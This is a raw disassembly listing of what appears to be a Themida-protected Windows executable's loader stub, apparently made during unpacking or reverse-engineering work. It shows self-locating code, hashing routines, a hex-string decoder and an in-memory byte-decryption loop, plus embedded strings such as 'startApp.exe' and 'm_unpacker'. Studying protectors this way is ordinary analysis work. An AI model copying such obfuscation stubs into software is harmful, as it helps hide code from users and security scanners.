		dd 72617473h, 70704174h, 6578652Eh, 0
		dd 33FB0000h, 6B877E7h,	0C0E2D8h, 3 dup(0)
		dd 73630000h, 24F3h, 2 dup(0)
		dd 0FFB00000h, 1C2h, 5 dup(0)
		dd 0E1D90000h, 690B78BFh
; ---------------------------------------------------------------------------

		public start
start:
		push	edx
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 9 dup(0)
		dd 0B9h, 0Fh dup(0)
		dd 2FC90000h, 59h, 4 dup(0)
		dd 0F655h, 2 dup(0)
		dd 2BDE0000h, 0A2h, 0
		dd 0ED5F0000h, 77F7h, 5	dup(0)
		dd 0D4AD0000h, 5Bh, 6 dup(0)
		dd 5A8E0000h, 0
		dd 28Bh, 0
		dd 183B0000h, 0D9AD0058h, 54h, 0A0h dup(0)
		dd 0A7DE0000h, 58h, 0
		dd 0E5360000h, 0E477h, 0A8370000h, 333377E7h, 2	dup(33333333h)
		dd 3333h, 0B1340000h, 42C100A4h, 7F9Dh,	2 dup(0)
		dd 0CD920000h, 54h, 2 dup(0)
		dd 0A5720000h, 0E5F2h, 0E21F0000h, 5Ch,	7 dup(0)
		dd 861C0000h, 5Ah, 0
		dd 0AD4E0000h, 0AFB80058h, 0F600h, 2 dup(0)
		dd 0B00000h, 4 dup(0)
		dd 0FFDD0000h, 0FFA7h, 5 dup(0)
		dd 0FCFC0000h, 0FFA6h, 0
		dd 69DD0000h, 0A2h, 3 dup(0)
		dd 268C0000h, 58h, 6 dup(0)
		dd 234E0000h, 7FFEh, 6CD10000h,	0DA39C563h, 72F5h, 3 dup(0)
		dd 1B400000h, 76B4h, 0DA440000h, 2 dup(0)
		dd 0B21C77DDh, 3042D0Ah, 7FFEh,	0
		dd 3E0000h, 0A1h, 2 dup(0)
		dd 69DD0000h, 0A2h, 0B9FB0000h,	0D6022D0Ah, 2131h, 0D9E00000h
		dd 177E7h, 2 dup(0)
		dd 9AB00000h, 0D973h, 2	dup(0)
		dd 0C7850000h, 30477E7h, 7FFEh,	3 dup(0)
		dd 0A2850000h, 54h, 8 dup(0)
		dd 0F4A00000h, 4EAAFFFFh, 20059h, 0EBB30000h, 77F7h, 3 dup(0)
		dd 40000h, 3 dup(0)
		dd 8A840000h, 0B9EBh, 3	dup(0)
		dd 0ABDA0000h, 5B7Ch, 4	dup(0)
		dd 189A0000h, 77DDh, 7 dup(0)
		dd 40h,	0DC190000h, 9D620058h, 48F00058h, 495h,	0
		dd 10000h, 0
		dd 0B7FE0000h, 5Bh, 5 dup(0)
		dd 840000h, 4 dup(0)
		dd 7D080000h, 0C34h, 4 dup(0)
		dd 50240000h, 77FCh, 3 dup(0)
		dd 5CE50000h, 8873h, 0
		dd 0C7260000h, 9B5677E7h, 0B80054h, 0B000000h, 0C20374C0h
		dd 448B0018h, 0E8530C24h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0A2A037h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 17h dup(0)
		dd 6B9C0000h, 632C024Bh, 5Bh, 7	dup(0)
		dd 3040000h, 7FFEh, 0A5FD0000h,	0D2D877E7h, 0E5C1h, 0D00000h
		dd 600000h, 3FF40002h, 59h, 5 dup(0)
		dd 21680000h, 0B7CE77E8h, 0A9DFE5C1h, 7FE5h, 3 dup(0)
		dd 58600000h, 8D0B6DD3h, 14EBh,	620000h, 3 dup(0)
		dd 0DC0000h, 0Fh dup(0)
		dd 0A9360000h, 987Eh, 2Eh dup(0)
		dd 0EE80000h, 8	dup(0)
		dd 0EB8D0000h, 0
		dd 0FF170000h, 0FFFBh, 2 dup(0)
		dd 0EE060000h, 3 dup(0)
		dd 705D0000h, 0D8DD0000h, 51A33AAEh, 446Dh, 0
		dd 69DD0000h, 0A2h, 0
		dd 0FFFF0000h, 77FFh, 2	dup(0)
		dd 94300000h, 268CFFFFh, 58h, 0
		dd 909C0000h, 27331D3h,	0CC42h,	2 dup(0)
		dd 0A3F0000h, 5435h, 4 dup(0)
		dd 734E0000h, 0AE27h, 0
		dd 5EF10000h, 6FC6005Ah, 0DE15h, 3A00000h, 4 dup(0)
		dd 20000h, 0
		dd 0FEF80000h, 0E00012h, 1Ch dup(0)
		dd 43790000h, 1586h, 6 dup(0)
		dd 705D0000h, 3040000h,	7FFEh, 3 dup(0)
		dd 4E920000h, 0E502h, 4	dup(0)
		dd 0FFB00000h, 0FFFFh, 3 dup(0)
		dd 0EAE60000h, 0C41h, 0
		dd 243h, 5 dup(0)
		dd 8B3B0000h, 6BBFh, 2 dup(0)
		dd 2EC0000h, 0DD9900C2h, 54h, 0Ah dup(0)
		dd 6BC00000h, 34B50000h, 12630605h, 0B8EBh, 2 dup(0)
		dd 0C0310000h, 5F080001h, 246F60h, 0
		dd 3B360000h, 0B992h, 69DD0000h, 0A2h, 3 dup(0)
		dd 20000h, 2 dup(0)
		dd 5CFF0000h, 58h, 0FEF80000h, 93EF0012h, 77E7h, 0
		dd 0DFE90000h, 0F9FCh, 23D70000h, 77DDh, 0B2130000h, 54h
		dd 23E80000h, 0A3h, 2 dup(0)
		dd 9FB277D4h, 57h, 25Bh, 941C0000h, 0B4FFFFh, 0
		dd 10000h, 6 dup(0)
		dd 17530000h, 5Ah, 5 dup(0)
		dd 10000000h, 40h, 6 dup(0)
		dd 0FFDD0000h, 0FFA7h, 2 dup(0)
		dd 54AB0000h, 5Ah, 0B0h, 7 dup(0)
		dd 10000h, 69DD0000h, 0A2h, 45B90000h, 4 dup(0)
		dd 183B0000h, 58h, 0A40000h, 0
		dd 95A00000h, 5Bh, 0
		dd 1FFF0000h, 8	dup(0)
		dd 86830000h, 0FAh, 0
		dd 0C4D90000h, 3767h, 7A300000h, 0FF9Ah, 5 dup(0)
		dd 96D6h, 2 dup(0)
		dd 40000h, 0FCFC0000h, 35B8001h, 0Bh dup(0)
		dd 0FF7F0000h, 3DBh, 0AE060000h, 99950054h, 0A6h, 0Ch dup(0)
		dd 0CBA90000h, 57h, 2 dup(0)
		dd 93930000h, 0A2h, 4 dup(0)
		dd 27A70000h, 7FFEh, 0
		dd 0FFFD0000h, 1F2h, 0
		dd 2E10000h, 7FA6h, 3 dup(0)
		dd 3040000h, 941C7FFEh,	0FEF8FFFFh, 12h, 79630000h, 77E7h
		dd 2 dup(0)
		dd 0FEF80000h, 12h, 30DF0000h, 7F5DA9C5h, 0E803259h, 0F200000h
		dd 3 dup(0)
		dd 0C9000000h, 76CD0057h, 6CD177E7h, 0C563h, 0A1h, 0
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 0EFDD0000h, 3, 0
		dd 0C4580000h, 54h, 6 dup(0)
		dd 28Bh, 0
		dd 20000h, 4 dup(0)
		dd 43770000h, 0
		dd 93830000h, 0FFFFh, 827C0000h, 137h, 2Fh dup(0)
		dd 69DD0000h, 0A2h, 3 dup(0)
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0DDDC0000h, 0F28Eh, 3 dup(0)
		dd 0FFB00000h, 242h, 0B1h dup(0)
		dd 9B090000h, 3268F9ECh, 0A3h, 0C1B40000h, 3FFFh, 2 dup(0)
		dd 9D390000h, 1C5Dh, 5 dup(0)
		dd 0A1FE0000h, 0B2h, 0
		dd 450C0000h, 0
		dd 81A80000h, 23E8005Bh, 0A3h, 6 dup(0)
		dd 0FF540000h, 67C4FFFFh, 8 dup(0)
		dd 1050000h, 0A28h, 150000h, 0
		dd 83070000h, 0A8FAD1h,	4 dup(0)
		dd 0AD680000h, 3FF46B5Eh, 52D10059h, 0A6E9B2FDh, 0CD9277EBh
		dd 43060054h, 723Dh, 3 dup(0)
		dd 0BDFD0000h, 0E700463h, 202h,	7 dup(0)
		dd 30DF0000h, 0
		dd 68CC0000h, 7925h, 0AB700000h, 0E66Ah, 5 dup(0)
		dd 269E0000h, 0AC0058h,	0
		dd 0A5FE0000h, 54h, 0
		dd 0B2640000h, 57h, 4 dup(0)
		dd 0A00000h, 9 dup(0)
		dd 181B0000h, 0EEA6h, 4	dup(0)
		dd 0BAF40000h, 0FFFFh, 0
		dd 48D00000h, 58h, 0B1680000h, 0A1h, 9DF80000h,	8CFCF608h
		dd 0FFFFh, 0
		dd 0D77E0000h, 30400FEh, 6 dup(0)
		dd 0FF7F0000h, 3DBh, 3C540000h,	7FD80058h, 0F400A4h, 0FA1C0000h
		dd 3E80h, 0
		dd 73A0000h, 5Ah, 96730000h, 78E1FE3Ah,	5Ah, 0
		dd 0BA720000h, 4 dup(0)
		dd 0E42E0000h, 3C28E398h, 0F000097Bh, 4Dh, 0Ah dup(0)
		dd 7FE80000h, 0B2h, 2 dup(0)
		dd 0DD8A0000h, 4397005Ah, 5Bh, 0B1ED0000h, 0FFFFD2B4h
		dd 0FFFFh, 0
		dd 79410000h, 7FFEh, 0
		dd 10000000h, 2	dup(0)
		dd 0BC830000h, 6E4Ah, 9	dup(0)
		dd 65010000h, 116DBh, 3	dup(0)
		dd 17B00000h, 5Ah, 0C40000h, 2 dup(0)
		dd 744A0000h, 2D0Ah, 5 dup(0)
		dd 10000h, 3 dup(0)
		dd 41510000h, 29D2h, 3 dup(0)
		dd 9BAC0000h, 0F88000A4h, 1D3Ah, 0B0710000h, 0EDF6h, 4 dup(0)
		dd 7D10000h, 7 dup(0)
		dd 0EA400000h, 160Eh, 0Ch dup(0)
		dd 9D620000h, 58h, 0
		dd 0A0990000h, 5077E7h,	0FE6Dh,	3 dup(0)
		dd 8FFC0000h, 0FFFFh, 5ECC0000h, 77DDh,	0
		dd 0EEDB0000h, 59h, 61h	dup(0)
		dd 0EFA50000h, 5E65h, 30DF0000h, 0A9C5h, 0AE870000h, 33A90058h
		dd 0A0379826h, 0DC00A2h, 4 dup(0)
		dd 650F0000h, 0CE08h, 2	dup(0)
		dd 13A80000h, 0DA440000h, 0C246h, 2 dup(0)
		dd 53C20000h, 0FFA7h, 5	dup(0)
		dd 0E025h, 67BA0000h, 0B89Fh, 0Ch dup(0)
		dd 0CB590000h, 5A030057h, 6B6h,	6 dup(0)
		dd 0DFE90000h, 0F9FCh, 3 dup(0)
		dd 42770000h, 398Ch, 6 dup(0)
		dd 0A8370000h, 77E7h, 25Ch, 6 dup(0)
		dd 0DCEB0000h, 5Bh, 2 dup(0)
		dd 9C370000h, 0A2h, 0AC5E0000h,	77E7h, 3 dup(0)
		dd 269E0000h, 58h, 96230000h, 0FFFFh, 0Dh dup(0)
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 0FE60000h, 0A1h, 0
		dd 0E37A0000h, 5Bh, 6 dup(0)
		dd 0A00F0000h, 0A2h, 0
		dd 0C94B0000h, 37E005Bh, 58h, 16h dup(0)
		dd 4FD80000h, 705D09F9h, 0D0270000h, 5Ch, 9 dup(0)
		dd 183B0000h, 58h, 0FFFF0000h, 5Fh, 2 dup(0)
		dd 5EF10000h, 5Ah, 1E80000h, 0EB8D0040h, 4B1h, 2 dup(0)
		dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h
		dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Bh dup(0)
		dd 3A440000h, 0A6C40000h, 52F8h, 8 dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0FFFF0000h, 0FFFFh, 2 dup(0)
		dd 0F2120000h, 2 dup(0)
		dd 0CC0000h, 0
		dd 9C0000h, 60D10000h, 9CFF5Dh,	2 dup(0)
		dd 0FCA40000h, 161h, 3 dup(0)
		dd 120000h, 5Ah, 24240000h, 0C3CB2424h,	0FFB7h,	6BBC0000h
		dd 1024Bh, 3 dup(0)
		dd 6F0000h, 2 dup(0)
		dd 3ADB0000h, 2	dup(0)
		dd 0CDE20000h, 5Ch, 0
		dd 9F70000h, 0A2h, 2 dup(0)
		dd 230000h, 58h, 25Ch, 12540000h, 77F5h, 0D6020000h, 2131h
		dd 0A6F30000h, 0CB7B005Ch, 156Eh, 0A660000h, 7FFEh, 0
		dd 2EC0000h, 0C2h, 0Eh dup(0)
		dd 25Eh, 2 dup(0)
		dd 0FFE00000h, 12h, 0
		dd 17E90000h, 5Ah, 2 dup(0)
		dd 59F00000h, 77DDh, 7 dup(0)
		dd 5D80000h, 0BAF477E8h, 0FFFFh, 2 dup(0)
		dd 0E0000000h, 0Dh, 0F70000h, 3	dup(0)
		dd 421A0000h, 55h, 0
		dd 2E0F0000h, 77F5h, 3 dup(0)
		dd 6B9C0000h, 24Bh, 0FF540000h,	8FFFFh,	243h, 9	dup(0)
		dd 0FFB00000h, 1A2h, 2 dup(0)
		dd 2B080000h, 0FAA00000h, 1B24Bh, 82340000h, 24B8h, 92800000h
		dd 0F1Ah, 6 dup(0)
		dd 3040000h, 7FFEh, 5 dup(0)
		dd 705D0000h, 87240000h, 4A30h,	2 dup(0)
		dd 10000h, 5 dup(0)
		dd 3E680000h, 95B777E8h, 230057h, 58h, 13h dup(0)
		dd 3040000h, 3E7FFEh, 77FFh, 2 dup(0)
		dd 6B9C0000h, 0BC024Bh,	0Bh dup(0)
		dd 0A2180000h, 0E613FFFFh, 5Bh,	0
		dd 0BDB00000h, 0A837FFA6h, 77E7h, 8C0A0000h, 87400A2h
		dd 5 dup(0)
		dd 81A80000h, 3E3B005Bh, 0A2h, 0Ah dup(0)
		dd 3E680000h, 0C80002h,	0B6D60000h, 58h, 3 dup(0)
		dd 1100000h, 2 dup(0)
		dd 0CA000000h, 3, 3 dup(0)
		dd 30DF0000h, 0A9C5h, 43400000h, 5Ah, 0Ch dup(0)
		dd 2BD70000h, 7561h, 0BAF40000h, 304FFFFh, 73167FFEh, 0FA4C00A4h
		dd 2078h, 0Bh dup(0)
		dd 0FF740000h, 0BCACFFFFh, 5Bh,	0BA470000h, 80A3FFA8h
		dd 0CDA6h, 3E430000h, 57h, 2 dup(0)
		dd 10000h, 0
		dd 22920000h, 0A2h, 8 dup(0)
		dd 326E0000h, 0FFABh, 0
		dd 0C96A0000h, 77D4h, 8	dup(0)
		dd 0FFF00000h, 12h, 3 dup(0)
		dd 359B0000h, 5Ah, 0
		dd 10000h, 5 dup(0)
		dd 8D8D0000h, 45FEh, 0Fh dup(0)
		dd 0BEE80000h, 3A4377DBh, 755F6D5Ch, 6361706Eh,	72656Bh
		dd 7Fh dup(0)
		dd 5Ch,	2 dup(0)
		dd 0C8E60000h, 57h, 8 dup(0)
		dd 5DD0000h, 2A1E3307h,	0FF94h,	6 dup(0)
		dd 0A2520000h, 54h, 2 dup(0)
		dd 0AE0A0000h, 2A0054h,	3 dup(0)
		dd 9B090000h, 0F9ECh, 7	dup(0)
		dd 0FFA40000h, 12h, 3 dup(0)
		dd 91110000h, 0FFFF5D38h, 0FFFFh, 0Ch dup(0)
		dd 9D390000h, 1C5Dh, 3 dup(0)
		dd 0DF140000h, 6F7Ah, 3	dup(0)
		dd 1C180000h, 0E00077F4h, 1Dh, 3 dup(0)
		dd 0EB000000h, 0
		dd 744B0000h, 58h, 5 dup(0)
		dd 0C96A0000h, 77D4h, 0
		dd 417E0000h, 77E8h, 0
		dd 0FA560000h, 8E400A2h, 4 dup(0)
		dd 1BF50000h, 6B56h, 7 dup(0)
		dd 0CB8A0000h, 54h, 6 dup(0)
		dd 263C0000h, 0E332h, 69DD0000h, 0A2h, 0
		dd 77F5h, 705D0000h, 417E0000h,	685477E8h, 64696D65h, 61h
		dd 1Ch dup(0)
		dd 0FFFF0000h, 0FFFFh, 3 dup(0)
		dd 0C1B40000h, 3FFFh, 359B0000h, 5Ah, 5	dup(0)
		dd 0FEC0000h, 0A37Fh, 0
		dd 854C0000h, 58h, 0
		dd 51970000h, 0B760h, 3	dup(0)
		dd 0F83E0000h, 5 dup(0)
		dd 8C0A0000h, 0A2h, 0FFFF0000h,	0FFFFh,	0Ch dup(0)
		dd 0FF540000h, 0FFFF0012h, 1Ah dup(0)
		dd 840D0000h, 0FF5Ch, 2	dup(0)
		dd 3AE40000h, 0EB4FFA4h, 7 dup(0)
		dd 92340000h, 0FD0800A2h, 12h, 73160000h, 0A4h,	2 dup(0)
		dd 3040000h, 7FFEh, 2Ah	dup(0)
		dd 21210000h, 2121h, 3 dup(0)
		dd 0B80000h, 0
		dd 9ABh, 2 dup(0)
		dd 40820000h, 4A30h, 5 dup(0)
		dd 76CD0000h, 77E7h, 0
		dd 0F9F20000h, 4EEFh, 0
		dd 31450000h, 268C00A2h, 58h, 7BFA0000h, 8C7h, 2 dup(0)
		dd 41240000h, 79B30059h, 5Ah, 5	dup(0)
		dd 0CC0000h, 3 dup(0)
		dd 36360000h, 3636h, 0
		dd 0F08D0000h, 5Bh, 6 dup(0)
		dd 230000h, 54h, 230000h, 4 dup(0)
		dd 8D530000h, 0A6h, 3040000h, 7FFEh, 0
		dd 915B0000h, 0A2h, 0FCFC0000h,	8001h, 980000h,	3 dup(0)
		dd 6CD80000h, 3	dup(0)
		dd 0BA970000h, 0B34Ah, 4 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0F4790000h, 0FFB077BCh, 101F2h, 9 dup(0)
		dd 8AC40000h, 18F9h, 0
		dd 8, 0Ch dup(0)
		dd 0C7850000h, 77E7h, 2	dup(0)
		dd 81A80000h, 53D005Bh,	0AB43h,	3 dup(0)
		dd 0D80000h, 4 dup(0)
		dd 10730000h, 0
		dd 33010000h, 0FFA7h, 2	dup(0)
		dd 0E90000h, 0F6C60004h, 58h, 3	dup(0)
		dd 99B30000h, 0AF2Fh, 3	dup(0)
		dd 0A5A10000h, 0BBA1h, 19h dup(0)
		dd 3C540000h, 58h, 0
		dd 94990000h, 0A2h, 3 dup(0)
		dd 70C40000h, 200A2h, 2	dup(0)
		dd 2C4C0000h, 3CA5h, 936F0000h,	7E7Ch, 5 dup(0)
		dd 40000000h, 3, 3 dup(0)
		dd 0E230000h, 202h, 6 dup(0)
		dd 4C790000h, 8D8DDFDBh, 0E666h, 0
		dd 20000h, 81E50000h, 0CCCA84h,	4BE90000h, 5Dh,	4 dup(0)
		dd 5B2D0000h, 0FDA2h, 3	dup(0)
		dd 8D9B0000h, 78EFh, 17h dup(0)
		dd 0CB810000h, 0FF410057h, 0D4D00057h, 0AE520054h, 54h
		dd 9 dup(0)
		dd 54AB0000h, 5Ah, 3040000h, 7FFEh, 0
		dd 0A0F80000h, 909Fh, 2	dup(0)
		dd 2FE80000h, 77E8h, 0DC1B0000h, 22220058h, 22222222h
		dd 12222h, 5 dup(0)
		dd 76CD0000h, 77E7h, 0
		dd 77F5h, 3040000h, 0B1497FFEh,	8E8Dh, 2 dup(0)
		dd 0F13A0000h, 4BEFh, 0
		dd 0DEBC0000h, 0E92Bh, 3 dup(0)
		dd 0A00F0000h, 0A2h, 0
		dd 5E340000h, 331Bh, 0E1B30000h, 0B820h, 0
		dd 600000h, 2, 5 dup(0)
		dd 0B1B30000h, 7FFFh, 0Dh dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0B3720000h, 59h, 8 dup(0)
		dd 0B1340000h, 0A4h, 0
		dd 0F07D0000h, 93DA6ADDh, 7E37h, 5 dup(0)
		dd 59740000h, 0FB4C8655h, 0F191h, 0
		dd 2B790000h, 6080054h,	0FFFCh,	3 dup(0)
		dd 705D0000h, 0A2E80000h, 0FFFFh, 6 dup(0)
		dd 156777F5h, 0FFA4h, 4	dup(0)
		dd 1C870000h, 0FFFFh, 7	dup(0)
		dd 6180000h, 77E8h, 2 dup(0)
		dd 8F7F0000h, 103DBh, 6	dup(0)
		dd 0F80000h, 0B1h, 11110000h, 1111h, 0
		dd 0ED830000h, 58h, 3 dup(0)
		dd 5FB90000h, 0E59Bh, 705D0000h, 0
		dd 8B820000h, 77E7h, 0AE300000h, 2058Ch, 0AFD50000h, 0B21C18CFh
		dd 2D0Ah, 4 dup(0)
		dd 941C0000h, 57h, 0
		dd 0A4C60000h, 40820054h, 4A30h, 919E0000h, 0FFFFh, 0EC0000h
		dd 8D8D0000h, 0E327h, 2	dup(0)
		dd 2A370000h, 0FFA3h, 0
		dd 46D00000h, 14h, 5 dup(0)
		dd 0A5720000h, 0FFFFh, 0Eh dup(0)
		dd 83000000h, 2	dup(0)
		dd 0E6A90000h, 0FFFFh, 4 dup(0)
		dd 0C660000h, 77FCh, 0
		dd 3040000h, 7FFEh, 0F5660000h,	0FFFFh,	2 dup(0)
		dd 204B0000h, 0B1CADB3Bh, 0B0h,	2 dup(0)
		dd 6BD70000h, 11E8024Bh, 3 dup(0)
		dd 0B6FF0000h, 0F9FFh, 0
		dd 0A00F0000h, 0A2h, 705D0000h,	5 dup(0)
		dd 9B090000h, 9749F9ECh, 156877E7h, 1F8700A3h, 0D554515Fh
		dd 0A1h, 0
		dd 0DFE90000h, 0Fh dup(0)
		dd 268C0000h, 58h, 0DA440040h, 0C246h, 0
		dd 6BD30000h, 24Bh, 0
		dd 10000h, 2 dup(0)
		dd 77E6h, 0D7060000h, 77E6h, 0D6EB0000h, 13822h, 5 dup(0)
		dd 52D10000h, 0D3AAB2FDh, 59h, 4 dup(0)
		dd 3040000h, 7FFEh, 0D36B0000h,	9F7D0000h, 72E1h, 0
		dd 52D10000h, 0B2FDh, 9	dup(0)
		dd 97C90000h, 0D6EB005Bh, 3822h, 2 dup(0)
		dd 0B450000h, 63A6h, 0B2120000h, 0A3390054h, 0A5E7005Ch
		dd 34E000A6h, 1910h, 0
		dd 0FCFC0000h, 158001h,	51E90000h, 3FFFh, 2 dup(0)
		dd 0C4860000h, 77E7h, 6	dup(0)
		dd 25Dh, 0FCFC0000h, 8001h, 6 dup(0)
		dd 20000h, 96880000h, 0FFFFh, 5	dup(0)
		dd 21790000h, 0FFBFh, 2	dup(0)
		dd 0FFED0000h, 0FDFDh, 2 dup(0)
		dd 310E0000h, 79D0h, 0
		dd 761A0000h, 77D5h, 17970000h,	8143h, 0
		dd 0B7630000h, 0A85F797Fh, 5Ch,	0
		dd 4100000h, 3040000h, 7FFEh, 3	dup(0)
		dd 10000h, 0FDFF0000h, 0AD0Bh, 2 dup(0)
		dd 0A00F0000h, 0A2h, 0C96A0000h, 77D4h,	96230000h, 0FF5Dh
		dd 0D8E20000h, 3C28h, 7EEE0000h, 0FFA7h, 3 dup(0)
		dd 3040000h, 2A6C7FFEh,	9F19005Ah, 19FFFFh, 7 dup(0)
		dd 10000h, 5 dup(0)
		dd 0D4D00000h, 20054h, 0Bh dup(0)
		dd 8C0A0000h, 0A2h, 0
		dd 0FFC40000h, 12h, 8 dup(0)
		dd 8B820000h, 77E7h, 3 dup(0)
		dd 6CB00000h, 0D6A2h, 10h dup(0)
		dd 6CD10000h, 0FFFFh, 10000h, 450C0000h, 0
		dd 0EBA60000h, 59h, 0D40000h, 9	dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CF3E:				; CODE XREF: Themida_:loc_549A0Dj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6A8353Bh
		mov	[ebp+6A83469h],	edx
		mov	[ebp+6A832BDh],	esi
		mov	[ebp+6A8225Dh],	eax
		cmp	dword ptr [ebp+6A81599h], 0
		jz	short loc_54CF76
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54CF76:				; CODE XREF: Themida_:0054CF68j
		mov	eax, [esp+24h]
		mov	[ebp+6A81F25h],	eax
		push	45h
		call	sub_54D02A
		push	783749Ah
		call	sub_54D070
		push	0A894B25h
		call	sub_54D070
		jmp	loc_54D1B4
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54D02A	proc near		; CODE XREF: Themida_:0054CF82p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6A83629h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54D046:				; CODE XREF: sub_54D02A+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54D065
		mov	eax, [ebp+arg_0]
		mov	[ebx+6A83593h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54D046
; ---------------------------------------------------------------------------


loc_54D065:				; CODE XREF: sub_54D02A+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54D02A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54D070	proc near		; CODE XREF: Themida_:0054CF8Cp
					; Themida_:0054CF96p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 6A83672h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54D096:				; CODE XREF: sub_54D070+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54D096
		mov	[ebp+var_84], 0
		lea	edi, [edx+6A83593h]
		lea	esi, [ebp+var_80]


loc_54D0C6:				; CODE XREF: sub_54D070+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54D0D2:				; CODE XREF: sub_54D070+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54D0D2
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54D0C6
		popa
		leave
		retn	4
sub_54D070	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54D110
; ---------------------------------------------------------------------------


loc_54D10C:				; CODE XREF: Themida_:0054D113j
		inc	dword ptr [ebp-4]
		inc	esi


loc_54D110:				; CODE XREF: Themida_:0054D10Aj
		cmp	byte ptr [esi],	0
		jnz	short loc_54D10C
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54D1A1
; ---------------------------------------------------------------------------


loc_54D122:				; CODE XREF: Themida_:0054D1A4j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54D198
; ---------------------------------------------------------------------------


loc_54D12B:				; CODE XREF: Themida_:0054D19Cj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54D185
; ---------------------------------------------------------------------------


loc_54D13B:				; CODE XREF: Themida_:0054D189j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54D15D
		cmp	bl, 39h
		ja	short loc_54D15D
		sub	bl, 30h
		jmp	short loc_54D17F
; ---------------------------------------------------------------------------


loc_54D15D:				; CODE XREF: Themida_:0054D151j
					; Themida_:0054D156j
		cmp	bl, 61h
		jb	short loc_54D16F
		cmp	bl, 66h
		ja	short loc_54D16F
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54D17F
; ---------------------------------------------------------------------------


loc_54D16F:				; CODE XREF: Themida_:0054D160j
					; Themida_:0054D165j
		cmp	bl, 41h
		jb	short loc_54D17F
		cmp	bl, 46h
		ja	short loc_54D17F
		sub	bl, 41h
		add	bl, 0Ah


loc_54D17F:				; CODE XREF: Themida_:0054D15Bj
					; Themida_:0054D16Dj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54D185:				; CODE XREF: Themida_:0054D139j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54D13B
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54D195
		mov	eax, [ebp-10h]
		stosb


loc_54D195:				; CODE XREF: Themida_:0054D18Fj
		inc	dword ptr [ebp-8]


loc_54D198:				; CODE XREF: Themida_:0054D129j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54D12B
		add	edx, 4


loc_54D1A1:				; CODE XREF: Themida_:0054D120j
		cmp	edx, [ebp-4]
		jb	loc_54D122
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_54D1B4:				; CODE XREF: Themida_:0054CF9Bj
		mov	ecx, 7000h
		lea	edi, [ebp+6A837B8h]


loc_54D1BF:				; CODE XREF: Themida_:0054D1C3j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
